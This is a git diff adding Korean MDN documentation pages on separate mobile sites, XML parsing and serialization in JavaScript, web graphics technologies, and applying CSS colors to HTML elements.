+<p>첫 번째 선택 사항은 가장 대중적입니다. 전화기에서 사용자들이 전형적인 m.example.com 식의 개별 모바일 사이트로 가도록 <a class="external" href="http://en.wikipedia.org/wiki/User_agent#User_agent_sniffing" title="User Agent Sniffing">사용자 에이전트 탐지(user-agent detection)</a>를 이용합니다. 간단히 말하면, 이 기술은 <a class="external" href="http://blog.mozilla.com/webdev/2011/05/04/approaches-to-mobile-web-development-part-1-what-is-mobile-friendliness/" title="Approaches to Mobile Web Development Part 1 – What is Mobile Friendliness?">바일 웹 개발에서의 3가지 목표</a>를 한 번에 해결하고자 서버 측(server-side) 로직을 사용합니다. 사용자의 브라우저가 전화기에 있는 것 같으면, 전화기에 맞춰 형식화되고 속도에 최적화된 모바일 콘텐츠를 제공합니다.</p>
+
+<p>개념적으로 단순한 이 방식은 기존에 있는 사이트에 추가하면 되는 가장 쉬운 선택 사항입니다. 특히 템플릿을 제공하는 CMS나 웹 애플리케이션을 이용하고 있다면 말이죠. 모바일에 특화된 콘텐츠와 스타일, 스크립트만 모바일 사용자에게 보내지기 때문에 이 방식은 여기에서 보여진 다른 선택 사항들 중에 가장 높은 성능을 제공하기도 합니다. 마지막으로 데스크톱과 모바일에서 완전히 차별화된 사용자 경험을 줄 수 있습니다. 결국에는 두 개의 다른 사이트니까요!</p>
+
+<h2 id="단점">단점</h2>
+
+<p>아쉽게도, 이 접근 방식에 문제점이 없지는 않습니다. 우선 첫째로, 모바일 사용자에게 보여주고 싶은 여러분의 사이트에서 모든 페이지에 대해 2가지 서로 다른 페이지를 유지 보수하게 됩니다. 만약 CMS를 사용 중이라면 이런 중복 작업을 최소화할 방법으로 사이트 템플릿을 정리할 수 있겠지요. 그렇더라도 모바일과 데스크톱 템플릿 간에 차이가 있는 때에는 코드에 복잡한 소스가 생길 가능성이 있습니다. 마찬가지로 프론트엔드 로직의 2세트에 대해 코드를 작성해야 하므로 새로운 사이트 피처(features)를 제공하는 시간이 길어집니다.    </p>
+
+<p>그보다 더 중요한 것은 사용자 에이전트 탐지에 본질적인 오류가 있고 결코 미래를 대비하지 못한다는 사실입니다. 새로운 브라우저가 나올 때마다 그에 부응하는 알고리즘을 수정해야 합니다. 그리고 긍정 오류(false positives)는 특히나 두렵습니다. 우연히 데스크톱 사용자들에게 모바일 사이트를 제공하는 황당함을 범할 수 있기 때문입니다.</p>
+
+<h2 id="이_선택이_옳은_경우">이 선택이 옳은 경우</h2>
+
+<p><img alt="sumo_screenshot.png" class="internal rwrap" src="/@api/deki/files/5893/=sumo_screenshot.png" style="float: right;">우선 목표 대상(target audience)에 오래되거나 저가(low-end) <a class="external" href="http://www.cnet.com/8301-17918_1-10461614-85.html" title="Feature Phones Definition">피처폰</a>을 사용하는 사용자들을 포함한다면, 필히 이 전략을 <a class="external" href="http://www.passani.it/gap/#adaptation" title="Mobile Adaptation">어느 정도</a> 이용해야 한다는 데 주목할 가치가 있습니다. 이는 일부 피처폰에 장착된 기본 브라우저에서 데스크톱용 대상인 웹사이트를 코딩하는데 쓰인 동일한 마크업을 지원하지 않기 때문입니다. 그대신<a class="external" href="http://en.wikipedia.org/wiki/XHTML_Mobile_Profile" title="XHTML-MP">XHTML-MP</a>이나 더 오래된 <a class="external" href="http://en.wikipedia.org/wiki/Wireless_Markup_Language">WML</a> 형식을 알고 있습니다.</p>
+
+<p>이 요인 외에 이 전략이 다른 방식보다 더 빛을 발하는 경우가 하나 있습니다. 모바일 기기에서 사용자에게 제공하고 싶은 기능이 데스크톱에서의 기능과 완전히 다르다면, 개별 사이트를 이용하는 것이 <a class="external" href="http://tripleodeon.com/2010/10/not-a-mobile-web-merely-a-320px-wide-one">가장 실용적인 선택</a>이 될 수 있습니다. 전혀 서로 다른 HTML과 자바스크립트, CSS를 전화기와 PC로 전송하는 선택 사항이기 때문이지요.</p>
+
+<p>이 접근 방식을 강제로 써야 할 수 있는 또 다른 경우는, 이유가 무엇이든지, 기존에 있는 데스크톱 사이트를 수정하지 못해서 100% 개별 모바일 사이트가 필요할 때입니다. 이상적이진 않지만, 최소한 이런 선택 사항은 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><a class="external" href="http://m.facebook.com/">Facebook</a>과 <a class="external" href="http://m.youtube.com/">YouTube</a>, <a class="external" href="http://m.digg.com/" title="Mobile Digg">Digg</a>, <a class="external" href="http://m.flickr.com/" title="Mobile Flickr">Flickr</a>를 포함해 여러분이 세상에서 보는 주요 웹 애플리케이션 중 대다수가 이 경로를 택했습니다. 실은 모질라는 <a class="link-https" href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO)와 <a class="external" href="http://support.mozilla.com/">support.mozilla.org</a> (SUMO)의 모바일 버전에도 이 전략을 선택했지요. 만약 여러분이 실제로 적용된 이 접근 방식의 예제 배후에 있는 소스 코드를 보고 싶다면, 맘 편히 <a class="link-https" href="https://github.com/jbalogh/zamboni/">github repository for AMO</a> or <a class="link-https" href="https://github.com/jsocol/kitsune">SUMO</a>를 확인해 보세요.</p>
+
+<h2 id="모바일_웹_개발에_관한_접근_방식">모바일 웹 개발에 관한 접근 방식</h2>
+
+<p>모바일 플랫폼 개발에 관한 배경과 다른 접근 방식을 다룬 아래 글들을 참조해 보세요. </p>
+
+<ul>
+ <li><a href="/en/Web_development/Mobile/Mobile-friendliness" title="Wat is CSS">모바일 친화적(mobile-friendliness)이란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Web_Development/Mobile/Responsive_design" title="/en-US/docs/Web_Development/Mobile/Responsive_design">반응형 디자인</a></li>
+ <li><a href="/en-US/docs/Web_Development/Mobile/A_hybrid_approach" title="/en-US/docs/Web_Development/Mobile/A_hybrid_approach">하이브리드 방식</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="원문에_관한_정보">원문에 관한 정보</h3>
+
+<p>이 글은 본래 제이슨 그를리키(Jason Grlicky)가 작성한 "<a class="external" href="http://blog.mozilla.com/webdev/2011/05/13/approaches-to-mobile-web-development-part-2-separate-sites/" title="http://blog.mozilla.com/webdev/2011/05/13/approaches-to-mobile-web-development-part-2-separate-sites/">모바일 웹 개발로의 접근 방식 2부 – 개별 사이트</a>"로 모질라 웹데브(Mozilla Webdev) 블로그에  2011년 5월 13일자로 게재되었습니다.</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/guide/xml_파싱_및_직렬화/index.html b/files/ko/web/guide/xml_파싱_및_직렬화/index.html
new file mode 100644
index 0000000000..872dfffaa3
--- /dev/null
+++ b/files/ko/web/guide/xml_파싱_및_직렬화/index.html
@@ -0,0 +1,141 @@
+---
+title: XML 파싱 및 직렬화
+slug: Web/Guide/XML_파싱_및_직렬화
+tags:
+  - AJAX
+  - Add-ons
+  - DOM
+  - Extensions
+  - JSON
+  - JXON
+  - XML
+  - XMLHttpRequest
+  - 가이드
+translation_of: Web/Guide/Parsing_and_serializing_XML
+---
+<p>웹 상에서 XML을 파싱하고 직렬화할 때 사용할 수 있는 객체는 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>DOM 트리를 문자열로 직렬화</strong>하는<strong> </strong><a href="/en/XMLSerializer" title="en/XMLSerializer">XMLSerializer</a></li>
+ <li><strong>XML 문서 상의 각기 다른 부분들을 (비 XML 문법을 사용하여) 문자열로 직렬화</strong>하는 <a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li>XML을 파싱하여 <strong>문자열을 DOM 트리로 변환</strong>하는 <a href="/en/DOM/DOMParser" title="en/DOMParser">DOMParser</a></li>
+ <li><strong>URL을 사용하여 주소화 가능한(URL-addressable) 리소스를 DOM 트리로</strong> 파싱하는 <a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+</ul>
+
+<h2 id="Part_1_XML_문서_생성법">Part 1: XML 문서 생성법</h2>
+
+<p>XML 문서 생성법은 다음과 같습니다. (XML 문서는 <code>Document</code>의 인스턴스 입니다.)</p>
+
+<h3 id="문자열을_DOM_트리로_파싱">문자열을 DOM 트리로 파싱</h3>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var sMyString = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;';
+var oParser = new DOMParser();
+var oDOM = oParser.parseFromString(sMyString, "text/xml");
+// 루트 요소의 이름, 또는 에러 메시지를 출력합니다.
+dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);
+</pre>
+</div>
+
+<h3 id="자바스크립트_객체_트리를_시작점으로_하여_XML_문서를_생성(JXON)">자바스크립트 객체 트리를 시작점으로 하여 XML 문서를 생성(JXON)</h3>
+
+<p><a class="internal" href="/en/JXON#Reverse_Algorithms" title="en/JXON – Reverse Algorithms">JXON 역(reverse) 알고리즘</a>을 참고하세요.</p>
+
+<h3 id="URL_주소화_가능한(URL-addressable)_리소스를_DOM_트리로_파싱">URL 주소화 가능한(URL-addressable) 리소스를 DOM 트리로 파싱</h3>
+
+<h4 id="XMLHttpRequest를_사용합니다">XMLHttpRequest를 사용합니다</h4>
+
+<p>다음은 URL 주소화 가능한 XML 파일을 DOM 트리로 읽어들인 후 파싱하는 예시 코드입니다.</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.onload = function() {
+  dump(xhr.responseXML.documentElement.nodeName);
+}
+xhr.onerror = function() {
+  dump("Error while getting XML.");
+}
+xhr.open("GET", "example.xml");
+xhr.responseType = "document";
+xhr.send();
+</pre>
+
+<p><code>xhr.responseXML는</code> {{domxref("Document")}}의 인스턴스입니다.</p>
+
+<h2 id="Part_2_특정_XML_문서의_콘텐츠를_직렬화하는_방법">Part 2: 특정 XML 문서의 콘텐츠를 직렬화하는 방법</h2>
+
+<p>Part 1에서 생성한 XML 문서의 콘텐츠를 직렬화할 수 있는 방법은 다음과 같습니다.</p>
+
+<h3 id="DOM_트리를_문자열로_직렬화">DOM 트리를 문자열로 직렬화</h3>
+
+<p>제일 먼저 <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a>에 나와 있는 대로 DOM 트리를 생성합니다. 다른 방법으로는 {{ domxref("XMLHttpRequest") }}에서 얻어낸 DOM 트리를 사용하는 방법이 있습니다.</p>
+
+<p>이제 <code>doc</code>(DOM 트리)를 문자열로 직렬화 해 봅시다.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sXML = oSerializer.serializeToString(doc);</pre>
+
+<p><code>new XMLSerializer()</code> 생성자는 JS XPCOM 컴포넌트(혹은 <a class="internal" href="/en/JavaScript_code_modules" title="En/JavaScript modules">JS module</a>) 내에서는 사용이 불가능합니다. 대신, 다음과 같은 코드를 작성하세요.</p>
+
+<pre class="brush: js">var oSerializer = Components.classes["@mozilla.org/xmlextras/xmlserializer;1"]
+                            .createInstance(Components.interfaces.nsIDOMSerializer);
+var sXML = oSerializer.serializeToString(doc);
+</pre>
+
+<h4 id="DOM_트리를_문자열로_예쁘게(pretty)_직렬화">DOM 트리를 문자열로 "예쁘게(pretty)" 직렬화</h4>
+
+<p><code><a href="/en/XMLSerializer" title="XMLSerializer">XMLSerializer</a>와</code> <a href="/en/E4X" title="en/E4X">E4X</a>를 사용하면 DOM 트리를 <a class="external" href="http://en.wikipedia.org/wiki/Pretty-print">예쁘게 출력(pretty print</a>) 할 수 있습니다. 우선, <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a> 글을 참고하여 DOM 트리를 생성합니다. 혹은 {{ domxref("XMLHttpRequest") }}를 통해 DOM 트리를 뽑아내는 방법도 있습니다. 아래 코드에서 변수 <code>doc</code>는 DOM 트리를 가지고 있습니다.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();</pre>
+
+<p>들여쓰기는 두 번 스페이스가 들어간 것과 같게 되어 있습니다. 좀 더 효율적인 코드를 작성하거나 들여쓰기 문자열을 임의로 설정하고 싶다면 {{ domxref("treeWalker") }}를 사용하십시오.</p>
+
+<div class="note"><strong>Note:</strong> E4X <code>toXMLString</code> 메소드를 쓴다면, <strong>CDATA 요소가 없어지거나</strong>, 요소 안에 담긴 텍스트만 남을 수 있습니다. 그러므로 만약 XML 내에 CDATA 요소가 들어 있다면, <span style="background-color: #f5f6f5;">위에 나온 메소드는 그다지 유용하지 않을 수도 있습니다.</span></div>
+
+<pre class="brush: xml">&lt;content&gt;&lt;![CDATA[This is the content]]&gt;&lt;/content&gt;
+</pre>
+
+<p>위의 코드는 다음과 같이 변환됩니다.</p>
+
+<pre class="brush: xml">&lt;content&gt;This is the content&lt;/content&gt;</pre>
+
+<h3 id="DOM_트리를_자바스크립트_객체_트리로_직렬화_(JXON)">DOM 트리를 자바스크립트 객체 트리로 직렬화 (JXON)</h3>
+
+<p><a href="/en/JXON" title="en/JXON">JXON</a> (lossless <strong>J</strong>avaScript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, 무손실 자바스크립트 XML 객체 표기법)은 XML을 사용하여 자바스크립트 객체를 표현하는 방법입니다. XML 문서의 일부분만 나오게 하고 싶다면, 문서 전체를 JSON으로 변환하지 말고 <a class="internal" href="/en/XPath" title="en/XPath">XPath</a>를 사용하세요! 이 외의 상황이라면 <a class="internal" href="/en/JXON" title="en/JXON">JSON에 관한 글</a>을 참조하세요.</p>
+
+<h3 id="DOM_트리를_파일로_직렬화">DOM 트리를 파일로 직렬화</h3>
+
+<p>먼저, <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a> 글에 나와 있는 대로 DOM 트리를 생성하세요. 만약 {{ domxref("XMLHttpRequest") }}를 사용하여 이미 DOM 트리가 존재한다면 이 절의 마지막 부분으로 건너 뛰십시오.</p>
+
+<p>이제 DOM 트리인 <code>doc</code>를 파일로 직렬화 해봅시다. 파일에 대해 더 알아보고 싶다면, <a href="/en/Code_snippets/File_I//O" title="en/Code_snippets/File_I//O">모질라에서 파일 사용과 관련하여</a>를 참조하세요.</p>
+
+<pre class="brush: js">var oFOStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
+var oFile = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
+oFile.append("extensions"); // extensions sub-directory
+oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
+oFile.append("myXMLFile.xml"); // filename
+oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
+(new XMLSerializer()).serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
+oFOStream.close();
+</pre>
+
+<h3 id="XMLHttpRequest_객체를_파일로_직렬화">XMLHttpRequest 객체를 파일로 직렬화</h3>
+
+<p>이미 {{ domxref("XMLHttpRequest") }}를 사용하여 DOM 트리를 보유한 상태라면, 위의 코드를 사용하되 <code>serializer.serializeToStream(doc, oFOStream, "")</code> <code>부분을</code> <code>serializer.serializeToStream(xmlHttpRequest.responseXML.documentElement, oFOStream, "")</code>로 대체하십시오. <code>xmlHttpRequest은</code> <code>XMLHttpRequest</code>의 인스턴스입니다.</p>
+
+<p>위 코드는 서버에서 XML을 찾아낸 후 문자열 스트림으로 재직렬화(re-serialize)한다는 것을 알아두세요. 필요에 따라 <code>xmlHttpRequest.responseText</code>를 곧장 건너뛸 수 있습니다.</p>
+
+<h3 id="HTML_문서를_직렬화">HTML 문서를 직렬화</h3>
+
+<p>만약 보유한 DOM이 HTML 문서라면 다음과 같이 간단하게 직렬화할 수 있습니다.</p>
+
+<pre class="brush: js">var serialized = document.documentElement.innerHTML;
+</pre>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en/JXON" title="en/JXON">JXO</a></li>
+</ul>
diff --git a/files/ko/web/guide/그래픽/index.html b/files/ko/web/guide/그래픽/index.html
new file mode 100644
index 0000000000..cb7cd6f873
--- /dev/null
+++ b/files/ko/web/guide/그래픽/index.html
@@ -0,0 +1,48 @@
+---
+title: 웹 상 그래픽
+slug: Web/Guide/그래픽
+tags:
+  - 2D
+  - 3D
+  - Canvas
+  - Graphics
+  - HTML5
+  - SVG
+  - WebGL
+  - WebRTC
+translation_of: Web/Guide/Graphics
+---
+<p><span class="seoSummary">웹 사이트 및 응용 프로그램은 종종 그래픽을 보일 필요가 있습니다.</span> 정지 이미지는 {{HTMLElement("img")}} 요소 사용이나 {{cssxref("background-image")}} 속성을 사용한 HTML 요소의 배경 설정으로 쉽게 표시할 수 있습니다. 또한 그래픽을 그때그때 생성하거나 사후에 이미지를 조작할 수도 있습니다. <span class="seoSummary">여기서는 이를 수행할 수 있는 법을 주의 깊게 살펴봅니다.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="2D_그래픽">2D 그래픽</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Canvas">Canvas</a></dt>
+ <dd>{{HTMLElement("canvas")}} 요소는 JavaScript를 사용하여 2D 그래픽을 그리는 API를 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/SVG">SVG</a></dt>
+ <dd>Scalable Vector Graphics (SVG)는 그래픽을 묘사하기 위해 선, 곡선 및 그 밖의 기하학 도형을 사용할 수 있습니다. 벡터로, 어떤 크기로든 깔끔하게 크기 조정하는 이미지를 만들 수 있습니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/Graphics">모두 보기...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="3D_그래픽">3D 그래픽</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>웹을 위한 3D 그래픽인 WebGL 시작 안내서. 이 기술로 웹 콘텐츠에 표준 OpenGL ES를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="비디오">비디오</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">HTML5 audio 및 video 사용</a></dt>
+ <dd>웹 페이지 내 비디오 및/또는 오디오 삽입 및 그 재생 제어.</dd>
+ <dt><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC에서 RTC는 실시간 통신(Real-Time Communications)을 뜻하며, 오디오/비디오 스트리밍 및 브라우저 클라이언트(peer) 간 데이터 공유를 가능하게 하는 기술입니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/html/applying_color/index.html b/files/ko/web/html/applying_color/index.html
new file mode 100644
index 0000000000..7fd7836e35
--- /dev/null
+++ b/files/ko/web/html/applying_color/index.html
@@ -0,0 +1,510 @@
+---
+title: CSS로 HTML 요소에 색 입히기
+slug: Web/HTML/Applying_color
+tags:
+  - Beginner
+  - CSS
+  - CSS Colors
+  - Guide
+  - HTML
+  - HTML Colors
+  - color
+  - 색
+translation_of: Web/HTML/Applying_color
+---
+<div>{{HTMLRef}}</div>
+
+<p>색은 인간의 감정을 표현하는 기본적인 형태입니다. 아이들은 뭔가 그릴 수 있는 민첩성을 갖추기도 전에 색을 가지고 놉니다. 사람들이 웹 사이트를 개발할 때 보통 색을 제일 먼저 입혀보고 싶어 하는 건 이런 이유일지도 모릅니다. <span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a>와 함께라면 무궁무진한 방법으로 여러분의 <a href="/ko/docs/Web/HTML">HTML</a> <a href="/ko/docs/Web/HTML/Element">요소</a>에 색을 넣어 원하는 모습을 만들 수 있습니다. 이 글은 CSS 색을 HTML에 적용하는 기초를 소개합니다.</span></p>
+
+<p>다행히도 HTML에 색을 추가하는 건 정말 쉽고 거의 모든 곳에 할 수 있는 일입니다.</p>
+
+<p>{{anch("색을 입힐 수 있는 것", "색을 입힐 수 있는 목록, 그때 사용할 CSS 속성")}}, {{anch("색을 나타내는 법", "색을 나타내는 법")}}, {{anch("색 사용하기", "실제로 색 사용하기")}} 등 색을 쓸 때 알아야 할 주제는 대부분 짚고 가겠습니다. {{anch("사용자의 색 선택", "사용자가 색을 선택")}}할 수 있는 방법도 확인해보겠습니다.</p>
+
+<p>마지막으로는 적절한 색을 고르고, 서로 다른 시각적 조건을 가진 사람들을 고려하는 등 {{anch("현명하게 색 고르기", "현명한 색 선택")}}에 대해 간단히 알아보겠습니다.</p>
+
+<h2 id="색을_입힐_수_있는_것">색을 입힐 수 있는 것</h2>
+
+<p>요소 차원에서 보자면 HTML의 모든 것에 색을 입힐 수 있습니다. 대신에 글씨와 테두리처럼, 요소 안에 그려지는 것의 종류에 따라 알아보겠습니다. 각각의 종류에 적용할 수 있는 CSS 속성의 목록도 보겠습니다.</p>
+
+<p>가장 기초적인 단계로는 {{cssxref("color")}} 속성이 HTML 요소의 콘텐츠 전경색을 지정하고, {{cssxref("background-color")}} 속성이 요소의 배경색을 지정합니다. 두 속성은 거의 모든 요소에 사용할 수 있습니다.</p>
+
+<h3 id="글씨">글씨</h3>
+
+<p>요소를 렌더링할 때 글씨, 글씨 배경과 기타 꾸미기 효과의 색은 아래에 나열한 속성이 결정합니다.</p>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>글씨와 글씨 장식(밑줄, 윗줄, 취소선 등)을 그릴 때 사용할 색입니다.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>글씨의 배경색입니다.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>글씨의 그림자 효과를 설정합니다. 여러 옵션 중에서 그림자 색을 정할 수 있습니다. (이후 다른 옵션에 따라 흐려지고 배경과 섞입니다)<span class="hidden">See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.</span></dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>기본 설정에서 글씨 장식(밑줄, 윗줄, 취소선 등)은 <code>color</code> 속성의 값을 색으로 사용합니다. 그러나 <code>text-decoration-color</code> 속성을 지정하면 다른 색으로 바꿀 수 있습니다.</dd>
+ <dt>{{cssxref("text-emphasis-color")}}</dt>
+ <dd>글씨 위에 표시할 강조 표시의 색입니다.</dd>
+ <dt>{{cssxref("caret-color")}}</dt>
+ <dd>요소의 {{Glossary("caret", "캐럿")}}(글씨 입력 커서) 색입니다. {{HTMLElement("input")}}이나 {{HTMLElement("textarea")}}, HTML {{htmlattrxref("contenteditable")}} 속성을 설정한 요소처럼 편집 가능한 경우에만 유용합니다.</dd>
+</dl>
+
+<h3 id="박스">박스</h3>
+
+<p>모든 요소는 모종의 콘텐츠를 가진 박스로, 콘텐츠 외에도 배경과 테두리를 가질 수 있습니다.</p>
+
+<dl>
+ <dt>{{anch("테두리")}}</dt>
+ <dd>{{anch("테두리")}} 항목에서 박스 테두리에 사용할 수 있는 CSS 속성의 목록을 확인하세요.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>전경 콘텐츠가 없는 곳에 표시할 배경색입니다.</dd>
+ <dt>{{cssxref("column-rule-color")}}</dt>
+ <dd>긴 글씨를 여러 단으로 나눌 때 그릴 구분선의 색입니다.</dd>
+ <dt>{{cssxref("outline-color")}}</dt>
+ <dd>요소의 바깥에 외곽선을 그릴 때 사용할 색입니다. 외곽선은 문서에서 공간을 차지하지 않아서 다른 요소를 가릴 수 있다는 점에서 테두리와 다릅니다. 보통 현재 선택돼 입력 이벤트를 받을 수 있는 요소를 강조할 때 사용합니다.</dd>
+</dl>
+
+<h3 id="테두리">테두리</h3>
+
+<p>모든 요소는 주위에 테두리를 가질 수 있습니다. 기본적인 테두리는 요소 콘텐츠의 모서리를 따라 그리는 선입니다. <span class="hidden">See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a> to learn more about applying styles to borders.</span></p>
+
+<p>{{cssxref("border")}} 단축 속성을 사용하면 색은 물론 <a href="/ko/docs/Web/CSS/border-width">너비</a>와 <a href="/ko/docs/Web/CSS/border-style">스타일</a>(실선, 점선 등)같은 속성을 한 번에 설정할 수 있습니다.</p>
+
+<dl>
+ <dt>{{cssxref("border-color")}}</dt>
+ <dd>모든 면의 테두리가 사용할 단색입니다.</dd>
+ <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}</dt>
+ <dd>테두리 색을 방향에 따라 다르게 설정할 수 있습니다.</dd>
+ <dt>{{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}</dt>
+ <dd>With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).</dd>
+ <dt>{{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}</dt>
+ <dd>These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the <code>border-inline-start-color</code> is applied to the right side of the border.</dd>
+</dl>
+
+<h3 id="다른_방법">다른 방법</h3>
+
+<p>웹 기술에서 CSS만 색을 지원하는건 아닙니다. 웹에서 사용할 수 있는 다른 그래픽 기술에서도 색을 지원합니다.</p>
+
+<dl>
+ <dt>HTML <a href="/ko/docs/Web/API/Canvas_API">Canvas API</a></dt>
+ <dd>{{HTMLElement("canvas")}} 요소로 2D 비트맵 그래픽을 그릴 수 있습니다. <a href="/ko/docs/Web/API/Canvas_API/Tutorial">캔버스 자습서</a>를 방문해 더 알아보세요.</dd>
+ <dt><a href="/ko/docs/Web/SVG">SVG</a> (Scalable Vector Graphics)</dt>
+ <dd>선, 패턴, 특정 모양의 형태를 그리는 명령어를 사용해 이미지를 그릴 수 있습니다. SVG 명령어는 XML 형식을 따르며, 웹 페이지에 바로 삽입할 수도 있고, 다른 이미지처럼 {{HTMLElement("img")}} 요소에 넣을 수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>Web Graphics Library는 OpenGL ES 기반의 API로, 웹에서 고성능 2D 및 3D 그래픽을 그릴 수 있습니다. <a href="/ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">WebGL 자습서</a>를 방문해 더 알아보세요.</dd>
+</dl>
+
+<h2 id="색을_나타내는_법">색을 나타내는 법</h2>
+
+<p>CSS에서 색을 나타내려면 우선 "색"이라는 개념을, 원색이나 밝기 등 구성 요소를 분리해 수치로 표기하는 등 컴퓨터가 이해할 수 있는 디지털 형태로 변환해야 합니다. 변환 방법이 여러 가지이듯 CSS가 색을 표현하는 방법도 여러 가지입니다.</p>
+
+<p>각각의 형태에 대한 더 자세한 내용은 CSS {{cssxref("&lt;color&gt;")}} 단위 문서를 참고하세요.</p>
+
+<h3 id="키워드">키워드</h3>
+
+<p>CSS 표준은 다수의 색 키워드를 사전에 정의하고 있으므로, 원하는 색을 가리키는 키워드가 있다면 숫자형 표현 대신 사용할 수 있습니다. 색 키워드는 원색과 2차색(<code>red</code>, <code>blue</code>, <code>orange</code> 등), 단계별 무채색(<code>black</code>에서 <code>white</code>까지, <code>darkgray</code>와 <code>lightgrey</code> 등) 외에도 <code>lightseagreen</code>, <code>cornflowerblue</code>, <code>rebeccapurple</code>처럼 다양한 종류의 혼합색을 포함하고 있습니다.</p>
+
+<p>사용할 수 있는 모든 색 키워드의 목록은 <a href="/ko/docs/Web/CSS/color_value#%EC%83%89%EC%83%81_%ED%82%A4%EC%9B%8C%EB%93%9C"><code>&lt;color&gt;</code>의 색상 키워드 항목</a>을 참고하세요.</p>
+
+<h3 id="RGB_값">RGB 값</h3>
+
+<p>RGB 색은 세 가지 방법으로 표현할 수 있습니다.</p>
+
+<h4 id="16진수_문자열_표기법">16진수 문자열 표기법</h4>
+
+<p>16진수 문자열 표기법은 색의 구성요소(빨강, 초록, 파랑)를 16진수 숫자로 표현합니다. 네 번째 구성 요소로 알파 채널(불투명도)을 포함할 수도 있습니다. 하나의 구성 요소는 0에서 255 사이(0x00에서 0xFF)를 숫자 두 개로, 또는 0에서 15 사이(0x0에서 0xF)를 숫자 한 개로 표기합니다. 단, 모든 구성 요소는 같은 수의 문자로 표기해야 합니다. 한 자릿수(0~F)로 표기한다면, 구성 요소의 최종 값은 자신의 문자를 두 번씩 사용해 계산합니다. 즉, <code>"#D"</code>의 값은 <code>"#DD"</code>입니다.</p>
+
+<p>16진수 문자열 표기법은 항상 <code>"#"</code>으로 시작해야 하고, 16진수 숫자는 그 후에 위치합니다. 문자열은 대소문자를 구분하지 않습니다.</p>
+
+<dl>
+ <dt><code>"#rrggbb"</code></dt>
+ <dd>완전히 불투명한 색을 지정합니다. 구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>입니다.</dd>
+ <dt><code>"#rrggbbaa"</code></dt>
+ <dd>구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>인 색을 지정합니다. 알파 채널의 값은 <code>0xaa</code>로, 값이 낮을 수록 색은 더 투명해집니다.</dd>
